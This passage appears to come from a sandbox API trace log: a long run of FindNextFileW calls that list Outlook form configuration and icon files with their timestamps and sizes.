ftLastWriteTime.dwLowDateTime=0x97071d00, ftLastWriteTime.dwHighDateTime=0x1c67f43, nFileSizeHigh=0x0, nFileSizeLow=0x2796, dwReserved0=0x0, dwReserved1=0x0, cFileName="MMSL.ICO", cAlternateFileName="")) returned 1 [0069.803] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb7feec00, ftCreationTime.dwHighDateTime=0x1c6859b, ftLastAccessTime.dwLowDateTime=0xf2dd30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb7feec00, ftLastWriteTime.dwHighDateTime=0x1c6859b, nFileSizeHigh=0x0, nFileSizeLow=0x8be, dwReserved0=0x0, dwReserved1=0x0, cFileName="MMSS.ICO", cAlternateFileName="")) returned 1 [0069.803] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x49a0f600, ftCreationTime.dwHighDateTime=0x1bdcbd5, ftLastAccessTime.dwLowDateTime=0xf53e90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x49a0f600, ftLastWriteTime.dwHighDateTime=0x1bdcbd5, nFileSizeHigh=0x0, nFileSizeLow=0x30d, dwReserved0=0x0, dwReserved1=0x0, cFileName="NOTE.CFG", cAlternateFileName="")) returned 1 [0069.803] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x76c87000, ftCreationTime.dwHighDateTime=0x1c50f43, ftLastAccessTime.dwLowDateTime=0xf53e90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x76c87000, ftLastWriteTime.dwHighDateTime=0x1c50f43, nFileSizeHigh=0x0, nFileSizeLow=0x436, dwReserved0=0x0, dwReserved1=0x0, cFileName="NOTEL.ICO", cAlternateFileName="")) returned 1 [0069.803] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x76c87000, ftCreationTime.dwHighDateTime=0x1c50f43, ftLastAccessTime.dwLowDateTime=0xf53e90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x76c87000, ftLastWriteTime.dwHighDateTime=0x1c50f43, nFileSizeHigh=0x0, nFileSizeLow=0xbb6, dwReserved0=0x0, dwReserved1=0x0, cFileName="NOTES.ICO", cAlternateFileName="")) returned 1 [0069.803] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x142d2200, ftCreationTime.dwHighDateTime=0x1c9d96b, ftLastAccessTime.dwLowDateTime=0x137e510, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x142d2200, ftLastWriteTime.dwHighDateTime=0x1c9d96b, nFileSizeHigh=0x0, nFileSizeLow=0x267, dwReserved0=0x0, dwReserved1=0x0, cFileName="OMSMMS.CFG", cAlternateFileName="")) returned 1 [0069.803] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x273ff200, ftCreationTime.dwHighDateTime=0x1c9d96b, ftLastAccessTime.dwLowDateTime=0x13a4670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x273ff200, ftLastWriteTime.dwHighDateTime=0x1c9d96b, nFileSizeHigh=0x0, nFileSizeLow=0x25b, dwReserved0=0x0, dwReserved1=0x0, cFileName="OMSSMS.CFG", cAlternateFileName="")) returned 1 [0069.803] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x76c87000, ftCreationTime.dwHighDateTime=0x1c50f43, ftLastAccessTime.dwLowDateTime=0x13a4670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x76c87000, ftLastWriteTime.dwHighDateTime=0x1c50f43, nFileSizeHigh=0x0, nFileSizeLow=0x436, dwReserved0=0x0, dwReserved1=0x0, cFileName="OOFL.ICO", cAlternateFileName="")) returned 1 [0069.803] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x76c87000, ftCreationTime.dwHighDateTime=0x1c50f43, ftLastAccessTime.dwLowDateTime=0x13a4670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x76c87000, ftLastWriteTime.dwHighDateTime=0x1c50f43, nFileSizeHigh=0x0, nFileSizeLow=0xbb6, dwReserved0=0x0, dwReserved1=0x0, cFileName="OOFS.ICO", cAlternateFileName="")) returned 1 [0069.803] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4466a600, ftCreationTime.dwHighDateTime=0x1c9449a, ftLastAccessTime.dwLowDateTime=0x13a4670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4466a600, ftLastWriteTime.dwHighDateTime=0x1c9449a, nFileSizeHigh=0x0, nFileSizeLow=0x33c, dwReserved0=0x0, dwReserved1=0x0, cFileName="OOFTMPL.CFG", cAlternateFileName="")) returned 1 [0069.804] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4c035000, ftCreationTime.dwHighDateTime=0x1bdcbd5, ftLastAccessTime.dwLowDateTime=0x1fb15d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4c035000, ftLastWriteTime.dwHighDateTime=0x1bdcbd5, nFileSizeHigh=0x0, nFileSizeLow=0x309, dwReserved0=0x0, dwReserved1=0x0, cFileName="POST.CFG", cAlternateFileName="")) returned 1 [0069.804] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4c035000, ftCreationTime.dwHighDateTime=0x1bdcbd5, ftLastAccessTime.dwLowDateTime=0x1fd7730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4c035000, ftLastWriteTime.dwHighDateTime=0x1bdcbd5, nFileSizeHigh=0x0, nFileSizeLow=0x309, dwReserved0=0x0, dwReserved1=0x0, cFileName="POSTIT.CFG", cAlternateFileName="")) returned 1 [0069.804] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x76c87000, ftCreationTime.dwHighDateTime=0x1c50f43, ftLastAccessTime.dwLowDateTime=0x1fd7730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x76c87000, ftLastWriteTime.dwHighDateTime=0x1c50f43, nFileSizeHigh=0x0, nFileSizeLow=0x436, dwReserved0=0x0, dwReserved1=0x0, cFileName="POSTITL.ICO", cAlternateFileName="")) returned 1 [0069.804] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x76c87000, ftCreationTime.dwHighDateTime=0x1c50f43, ftLastAccessTime.dwLowDateTime=0x1fd7730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x76c87000, ftLastWriteTime.dwHighDateTime=0x1c50f43, nFileSizeHigh=0x0, nFileSizeLow=0xbb6, dwReserved0=0x0, dwReserved1=0x0, cFileName="POSTITS.ICO", cAlternateFileName="")) returned 1 [0069.804] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x76c87000, ftCreationTime.dwHighDateTime=0x1c50f43, ftLastAccessTime.dwLowDateTime=0x1fd7730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x76c87000, ftLastWriteTime.dwHighDateTime=0x1c50f43, nFileSizeHigh=0x0, nFileSizeLow=0x436, dwReserved0=0x0, dwReserved1=0x0, cFileName="POSTL.ICO", cAlternateFileName="")) returned 1 [0069.804] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x76c87000, ftCreationTime.dwHighDateTime=0x1c50f43, ftLastAccessTime.dwLowDateTime=0x1fd7730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x76c87000, ftLastWriteTime.dwHighDateTime=0x1c50f43, nFileSizeHigh=0x0, nFileSizeLow=0xbb6, dwReserved0=0x0, dwReserved1=0x0, cFileName="POSTS.ICO", cAlternateFileName="")) returned 1 [0069.804] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4d347d00, ftCreationTime.dwHighDateTime=0x1bdcbd5, ftLastAccessTime.dwLowDateTime=0x1fd7730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4d347d00, ftLastWriteTime.dwHighDateTime=0x1bdcbd5, nFileSizeHigh=0x0, nFileSizeLow=0x328, dwReserved0=0x0, dwReserved1=0x0, cFileName="RCLRPT.CFG", cAlternateFileName="")) returned 1 [0069.804] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4d347d00, ftCreationTime.dwHighDateTime=0x1bdcbd5, ftLastAccessTime.dwLowDateTime=0x1fd7730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4d347d00, ftLastWriteTime.dwHighDateTime=0x1bdcbd5, nFileSizeHigh=0x0, nFileSizeLow=0x651, dwReserved0=0x0, dwReserved1=0x0, cFileName="REC.CFG", cAlternateFileName="")) returned 1 [0069.804] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x76c87000, ftCreationTime.dwHighDateTime=0x1c50f43, ftLastAccessTime.dwLowDateTime=0x1fd7730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x76c87000, ftLastWriteTime.dwHighDateTime=0x1c50f43, nFileSizeHigh=0x0, nFileSizeLow=0x436, dwReserved0=0x0, dwReserved1=0x0, cFileName="RECL.ICO", cAlternateFileName="")) returned 1 [0069.804] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x76c87000, ftCreationTime.dwHighDateTime=0x1c50f43, ftLastAccessTime.dwLowDateTime=0x1fd7730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x76c87000, ftLastWriteTime.dwHighDateTime=0x1c50f43, nFileSizeHigh=0x0, nFileSizeLow=0xbb6, dwReserved0=0x0, dwReserved1=0x0, cFileName="RECS.ICO", cAlternateFileName="")) returned 1 [0069.804] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4d347d00, ftCreationTime.dwHighDateTime=0x1bdcbd5, ftLastAccessTime.dwLowDateTime=0x1fd7730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4d347d00, ftLastWriteTime.dwHighDateTime=0x1bdcbd5, nFileSizeHigh=0x0, nFileSizeLow=0x30b, dwReserved0=0x0, dwReserved1=0x0, cFileName="REMOTE.CFG", cAlternateFileName="")) returned 1 [0069.804] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x76c87000, ftCreationTime.dwHighDateTime=0x1c50f43, ftLastAccessTime.dwLowDateTime=0x1ffd890, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x76c87000, ftLastWriteTime.dwHighDateTime=0x1c50f43, nFileSizeHigh=0x0, nFileSizeLow=0x436, dwReserved0=0x0, dwReserved1=0x0, cFileName="REMOTEL.ICO", cAlternateFileName="")) returned 1 [0069.804] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x76c87000, ftCreationTime.dwHighDateTime=0x1c50f43, ftLastAccessTime.dwLowDateTime=0x1ffd890, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x76c87000, ftLastWriteTime.dwHighDateTime=0x1c50f43, nFileSizeHigh=0x0, nFileSizeLow=0xbb6, dwReserved0=0x0, dwReserved1=0x0, cFileName="REMOTES.ICO", cAlternateFileName="")) returned 1 [0069.804] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4d347d00, ftCreationTime.dwHighDateTime=0x1bdcbd5, ftLastAccessTime.dwLowDateTime=0x1ffd890, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4d347d00, ftLastWriteTime.dwHighDateTime=0x1bdcbd5, nFileSizeHigh=0x0, nFileSizeLow=0x33a, dwReserved0=0x0, dwReserved1=0x0, cFileName="REPLTMPL.CFG", cAlternateFileName="")) returned 1 [0069.804] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4d347d00, ftCreationTime.dwHighDateTime=0x1bdcbd5, ftLastAccessTime.dwLowDateTime=0x1ffd890, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4d347d00, ftLastWriteTime.dwHighDateTime=0x1bdcbd5, nFileSizeHigh=0x0, nFileSizeLow=0x30d, dwReserved0=0x0, dwReserved1=0x0, cFileName="REPORT.CFG", cAlternateFileName="")) returned 1 [0069.804] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x76c87000, ftCreationTime.dwHighDateTime=0x1c50f43, ftLastAccessTime.dwLowDateTime=0x1ffd890, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x76c87000, ftLastWriteTime.dwHighDateTime=0x1c50f43, nFileSizeHigh=0x0, nFileSizeLow=0x436, dwReserved0=0x0, dwReserved1=0x0, cFileName="REPORTL.ICO", cAlternateFileName="")) returned 1 [0069.804] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x76c87000, ftCreationTime.dwHighDateTime=0x1c50f43, ftLastAccessTime.dwLowDateTime=0x1ffd890, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x76c87000, ftLastWriteTime.dwHighDateTime=0x1c50f43, nFileSizeHigh=0x0, nFileSizeLow=0xbb6, dwReserved0=0x0, dwReserved1=0x0, cFileName="REPORTS.ICO", cAlternateFileName="")) returned 1 [0069.804] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e65aa00, ftCreationTime.dwHighDateTime=0x1bdcbd5, ftLastAccessTime.dwLowDateTime=0x1ffd890, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4e65aa00, ftLastWriteTime.dwHighDateTime=0x1bdcbd5, nFileSizeHigh=0x0, nFileSizeLow=0x30b, dwReserved0=0x0, dwReserved1=0x0, cFileName="RESEND.CFG", cAlternateFileName="")) returned 1 [0069.804] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x76c87000, ftCreationTime.dwHighDateTime=0x1c50f43, ftLastAccessTime.dwLowDateTime=0x1ffd890, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x76c87000, ftLastWriteTime.dwHighDateTime=0x1c50f43, nFileSizeHigh=0x0, nFileSizeLow=0x436, dwReserved0=0x0, dwReserved1=0x0, cFileName="RESENDL.ICO", cAlternateFileName="")) returned 1 [0069.804] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x76c87000, ftCreationTime.dwHighDateTime=0x1c50f43, ftLastAccessTime.dwLowDateTime=0x20239f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x76c87000, ftLastWriteTime.dwHighDateTime=0x1c50f43, nFileSizeHigh=0x0, nFileSizeLow=0xbb6, dwReserved0=0x0, dwReserved1=0x0, cFileName="RESENDS.ICO", cAlternateFileName="")) returned 1 [0069.804] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x216f7400, ftCreationTime.dwHighDateTime=0x1c61668, ftLastAccessTime.dwLowDateTime=0x20239f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x216f7400, ftLastWriteTime.dwHighDateTime=0x1c61668, nFileSizeHigh=0x0, nFileSizeLow=0x314, dwReserved0=0x0, dwReserved1=0x0, cFileName="RSSITEM.CFG", cAlternateFileName="")) returned 1 [0069.804] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3ecff500, ftCreationTime.dwHighDateTime=0x1c68838, ftLastAccessTime.dwLowDateTime=0x20239f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3ecff500, ftLastWriteTime.dwHighDateTime=0x1c68838, nFileSizeHigh=0x0, nFileSizeLow=0x436, dwReserved0=0x0, dwReserved1=0x0, cFileName="RSSITEML.ICO", cAlternateFileName="")) returned 1 [0069.804] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3081d900, ftCreationTime.dwHighDateTime=0x1c68838, ftLastAccessTime.dwLowDateTime=0x20239f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3081d900, ftLastWriteTime.dwHighDateTime=0x1c68838, nFileSizeHigh=0x0, nFileSizeLow=0xbb6, dwReserved0=0x0, dwReserved1=0x0, cFileName="RSSITEMS.ICO", cAlternateFileName="")) returned 1 [0069.804] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x76c87000, ftCreationTime.dwHighDateTime=0x1c50f43, ftLastAccessTime.dwLowDateTime=0x20239f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x76c87000, ftLastWriteTime.dwHighDateTime=0x1c50f43, nFileSizeHigh=0x0, nFileSizeLow=0x436, dwReserved0=0x0, dwReserved1=0x0, cFileName="SCDCNCLL.ICO", cAlternateFileName="")) returned 1 [0069.804] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x76c87000, ftCreationTime.dwHighDateTime=0x1c50f43, ftLastAccessTime.dwLowDateTime=0x20239f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x76c87000, ftLastWriteTime.dwHighDateTime=0x1c50f43, nFileSizeHigh=0x0, nFileSizeLow=0xbb6, dwReserved0=0x0, dwReserved1=0x0, cFileName="SCDCNCLS.ICO", cAlternateFileName="")) returned 1 [0069.804] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x76c87000, ftCreationTime.dwHighDateTime=0x1c50f43, ftLastAccessTime.dwLowDateTime=0x20239f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x76c87000, ftLastWriteTime.dwHighDateTime=0x1c50f43, nFileSizeHigh=0x0, nFileSizeLow=0x436, dwReserved0=0x0, dwReserved1=0x0, cFileName="SCDREQL.ICO", cAlternateFileName="")) returned 1 [0069.804] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x76c87000, ftCreationTime.dwHighDateTime=0x1c50f43, ftLastAccessTime.dwLowDateTime=0x20239f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x76c87000, ftLastWriteTime.dwHighDateTime=0x1c50f43, nFileSizeHigh=0x0, nFileSizeLow=0xbb6, dwReserved0=0x0, dwReserved1=0x0, cFileName="SCDREQS.ICO", cAlternateFileName="")) returned 1 [0069.804] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x76c87000, ftCreationTime.dwHighDateTime=0x1c50f43, ftLastAccessTime.dwLowDateTime=0x20239f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x76c87000, ftLastWriteTime.dwHighDateTime=0x1c50f43, nFileSizeHigh=0x0, nFileSizeLow=0x436, dwReserved0=0x0, dwReserved1=0x0, cFileName="SCDRESNL.ICO", cAlternateFileName="")) returned 1 [0069.804] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x76c87000, ftCreationTime.dwHighDateTime=0x1c50f43, ftLastAccessTime.dwLowDateTime=0x20239f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x76c87000, ftLastWriteTime.dwHighDateTime=0x1c50f43, nFileSizeHigh=0x0, nFileSizeLow=0xbb6, dwReserved0=0x0, dwReserved1=0x0, cFileName="SCDRESNS.ICO", cAlternateFileName="")) returned 1 [0069.804] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x76c87000, ftCreationTime.dwHighDateTime=0x1c50f43, ftLastAccessTime.dwLowDateTime=0x20239f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x76c87000, ftLastWriteTime.dwHighDateTime=0x1c50f43, nFileSizeHigh=0x0, nFileSizeLow=0x436, dwReserved0=0x0, dwReserved1=0x0, cFileName="SCDRESPL.ICO", cAlternateFileName="")) returned 1 [0069.804] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x76c87000, ftCreationTime.dwHighDateTime=0x1c50f43, ftLastAccessTime.dwLowDateTime=0x20239f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x76c87000, ftLastWriteTime.dwHighDateTime=0x1c50f43, nFileSizeHigh=0x0, nFileSizeLow=0xbb6, dwReserved0=0x0, dwReserved1=0x0, cFileName="SCDRESPS.ICO", cAlternateFileName="")) returned 1 [0069.804] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x76c87000, ftCreationTime.dwHighDateTime=0x1c50f43, ftLastAccessTime.dwLowDateTime=0x20239f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x76c87000, ftLastWriteTime.dwHighDateTime=0x1c50f43, nFileSizeHigh=0x0, nFileSizeLow=0x436, dwReserved0=0x0, dwReserved1=0x0, cFileName="SCDRESTL.ICO", cAlternateFileName="")) returned 1 [0069.804] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x76c87000, ftCreationTime.dwHighDateTime=0x1c50f43, ftLastAccessTime.dwLowDateTime=0x2049b50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x76c87000, ftLastWriteTime.dwHighDateTime=0x1c50f43, nFileSizeHigh=0x0, nFileSizeLow=0xbb6, dwReserved0=0x0, dwReserved1=0x0, cFileName="SCDRESTS.ICO", cAlternateFileName="")) returned 1 [0069.804] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e65aa00, ftCreationTime.dwHighDateTime=0x1bdcbd5, ftLastAccessTime.dwLowDateTime=0x2049b50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4e65aa00, ftLastWriteTime.dwHighDateTime=0x1bdcbd5, nFileSizeHigh=0x0, nFileSizeLow=0x335, dwReserved0=0x0, dwReserved1=0x0, cFileName="SCHDCNCL.CFG", cAlternateFileName="")) returned 1 [0069.804] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xabc91200, ftCreationTime.dwHighDateTime=0x1bfc4b1, ftLastAccessTime.dwLowDateTime=0x2049b50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xabc91200, ftLastWriteTime.dwHighDateTime=0x1bfc4b1, nFileSizeHigh=0x0, nFileSizeLow=0x4af, dwReserved0=0x0, dwReserved1=0x0, cFileName="SCHDREQ.CFG", cAlternateFileName="")) returned 1 [0069.805] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4f96d700, ftCreationTime.dwHighDateTime=0x1bdcbd5, ftLastAccessTime.dwLowDateTime=0x2049b50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4f96d700, ftLastWriteTime.dwHighDateTime=0x1bdcbd5, nFileSizeHigh=0x0, nFileSizeLow=0x343, dwReserved0=0x0, dwReserved1=0x0, cFileName="SCHDRESN.CFG", cAlternateFileName="")) returned 1 [0069.805] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4f96d700, ftCreationTime.dwHighDateTime=0x1bdcbd5, ftLastAccessTime.dwLowDateTime=0x206fcb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4f96d700, ftLastWriteTime.dwHighDateTime=0x1bdcbd5, nFileSizeHigh=0x0, nFileSizeLow=0x341, dwReserved0=0x0, dwReserved1=0x0, cFileName="SCHDRESP.CFG", cAlternateFileName="")) returned 1 [0069.805] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4f96d700, ftCreationTime.dwHighDateTime=0x1bdcbd5, ftLastAccessTime.dwLowDateTime=0x206fcb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4f96d700, ftLastWriteTime.dwHighDateTime=0x1bdcbd5, nFileSizeHigh=0x0, nFileSizeLow=0x348, dwReserved0=0x0, dwReserved1=0x0, cFileName="SCHDREST.CFG", 